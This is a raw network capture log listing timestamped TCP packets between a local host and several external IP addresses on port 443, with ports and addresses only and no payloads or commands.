Jan 14, 2025 20:04:27.896075964 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896099091 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.896115065 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.896742105 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896797895 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.896815062 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896857023 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896892071 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.896895885 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.896928072 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.897732019 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.897758961 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.897789955 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.897821903 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.897821903 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.897830009 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.897849083 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.897876024 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.898814917 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.898870945 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.898875952 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.898883104 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.898914099 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.898924112 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.898930073 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.898977041 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986069918 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.986140013 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986140966 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.986151934 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.986181974 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986198902 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986246109 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.986293077 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986336946 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.986382008 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986608028 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.986646891 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986670017 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.986810923 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.986983061 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987026930 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987355947 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987401962 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987482071 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987521887 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987538099 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987576962 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987591028 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987639904 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987644911 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987680912 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987685919 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987735987 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.987780094 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987852097 CET	50061	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:27.987863064 CET	443	50061	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:27.992829084 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.992870092 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:27.992938042 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.993140936 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:27.993158102 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.264400959 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:28.264466047 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.264553070 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:28.264847994 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:28.264866114 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.460155010 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.460865974 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:28.460900068 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.461363077 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.461734056 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:28.461812973 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.461915970 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:28.503407001 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.595509052 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.595696926 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.595778942 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:28.598638058 CET	50062	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:28.598664999 CET	443	50062	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:28.766988039 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.767296076 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:28.767318964 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.767784119 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.768238068 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:28.768322945 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.768553019 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:28.815334082 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.922821045 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.922965050 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.923021078 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:28.923043966 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.923059940 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:28.923110962 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:29.093920946 CET	50063	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:29.093945026 CET	443	50063	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:29.537528038 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:29.537573099 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:29.537652016 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:29.537884951 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:29.537895918 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.006963968 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.009382963 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.009413004 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.009890079 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.012868881 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.012964010 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.013117075 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.055361032 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.150337934 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.150445938 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.150568962 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.152075052 CET	50064	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.152107000 CET	443	50064	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.275038004 CET	443	50057	216.58.206.36	192.168.2.4
Jan 14, 2025 20:04:30.275126934 CET	443	50057	216.58.206.36	192.168.2.4
Jan 14, 2025 20:04:30.275338888 CET	50057	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:04:30.572365999 CET	50057	443	192.168.2.4	216.58.206.36
Jan 14, 2025 20:04:30.572412014 CET	443	50057	216.58.206.36	192.168.2.4
Jan 14, 2025 20:04:30.572590113 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.572674990 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.572844982 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.573529005 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:30.573549986 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:30.732722044 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:30.732842922 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:30.732933998 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:30.733256102 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:30.733295918 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.067892075 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.068641901 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.068707943 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.069180012 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.070270061 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.070270061 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.070291042 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.070348978 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.070640087 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.070682049 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.070859909 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.070873022 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.220333099 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.222254038 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.222322941 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.222861052 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.224956989 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.225050926 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.225143909 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.267333031 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.330080986 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330363035 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330398083 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330430984 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330450058 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.330470085 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330497026 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.330774069 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330806971 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330811024 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.330821037 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.330858946 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.330874920 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.334830999 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.334865093 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.334892035 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.334924936 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.334935904 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.334961891 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.362790108 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.362873077 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.363081932 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.363771915 CET	50066	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.363816023 CET	443	50066	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.375828028 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.422372103 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423099995 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423129082 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423163891 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423192024 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.423211098 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423237085 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.423249006 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423288107 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423327923 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.423336029 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423384905 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.423425913 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.423686981 CET	50065	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:31.423701048 CET	443	50065	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:31.448575020 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.448668957 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.448766947 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.449007988 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.449043989 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.923765898 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.924061060 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.924093962 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.924554110 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.924892902 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.924979925 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:31.925033092 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:31.967335939 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:32.077088118 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:32.077173948 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:32.077249050 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:32.077810049 CET	50068	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:32.077851057 CET	443	50068	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:41.270919085 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.271012068 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.271141052 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.271384001 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.271425009 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.754575968 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.754951000 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.754987955 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.755487919 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.755892038 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.755949974 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.755964994 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.756033897 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.756347895 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.756372929 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.756395102 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:41.756484985 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:41.756505013 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:42.010102987 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:42.010256052 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:42.010330915 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:42.010335922 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:42.010384083 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:42.010473967 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:42.010509968 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:42.010554075 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:42.011046886 CET	50069	443	192.168.2.4	104.18.95.41
Jan 14, 2025 20:04:42.011079073 CET	443	50069	104.18.95.41	192.168.2.4
Jan 14, 2025 20:04:42.032538891 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.032593966 CET	443	50070	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.032691002 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.032918930 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.032970905 CET	443	50071	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.033030987 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.034208059 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.034228086 CET	443	50071	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.034524918 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.034558058 CET	443	50070	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.035415888 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.035427094 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.035496950 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.035731077 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.035743952 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.513783932 CET	443	50070	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.514195919 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.514230013 CET	443	50070	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.515686035 CET	443	50070	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.515763044 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.516189098 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.516216993 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.516294956 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.516304970 CET	443	50070	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.516361952 CET	50070	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.516762972 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.516838074 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.516923904 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.517205000 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.517241955 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.540013075 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.541966915 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.541996956 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.542329073 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.543642998 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.543703079 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.543839931 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.587378025 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.693659067 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.693825006 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.694008112 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.705580950 CET	50072	443	192.168.2.4	104.18.94.41
Jan 14, 2025 20:04:42.705627918 CET	443	50072	104.18.94.41	192.168.2.4
Jan 14, 2025 20:04:42.765882969 CET	443	50071	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.818667889 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.843229055 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.843256950 CET	443	50071	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.847032070 CET	443	50071	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.847047091 CET	443	50071	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.847126007 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.872212887 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.872266054 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.872286081 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.872453928 CET	443	50071	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.872536898 CET	50071	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.872912884 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.873008966 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:42.873109102 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.873403072 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:42.873441935 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.045141935 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.045672894 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.045737028 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.049252987 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.049361944 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.049695015 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.049788952 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.049879074 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.049912930 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.049935102 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.090689898 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.482121944 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.482580900 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.482647896 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.486259937 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.486360073 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.486839056 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.487024069 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.534288883 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.534312963 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.582254887 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.959966898 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960184097 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960304976 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960390091 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.960410118 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960467100 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960508108 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.960599899 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960650921 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.960668087 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960817099 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.960866928 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.960880041 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.964143038 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.964287043 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:44.964287996 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.964317083 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:44.964366913 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:45.015942097 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:45.062633991 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:45.065207958 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:45.065459013 CET	443	50074	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:45.065540075 CET	50074	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:45.065573931 CET	443	50074	104.21.64.1	192.168.2.4
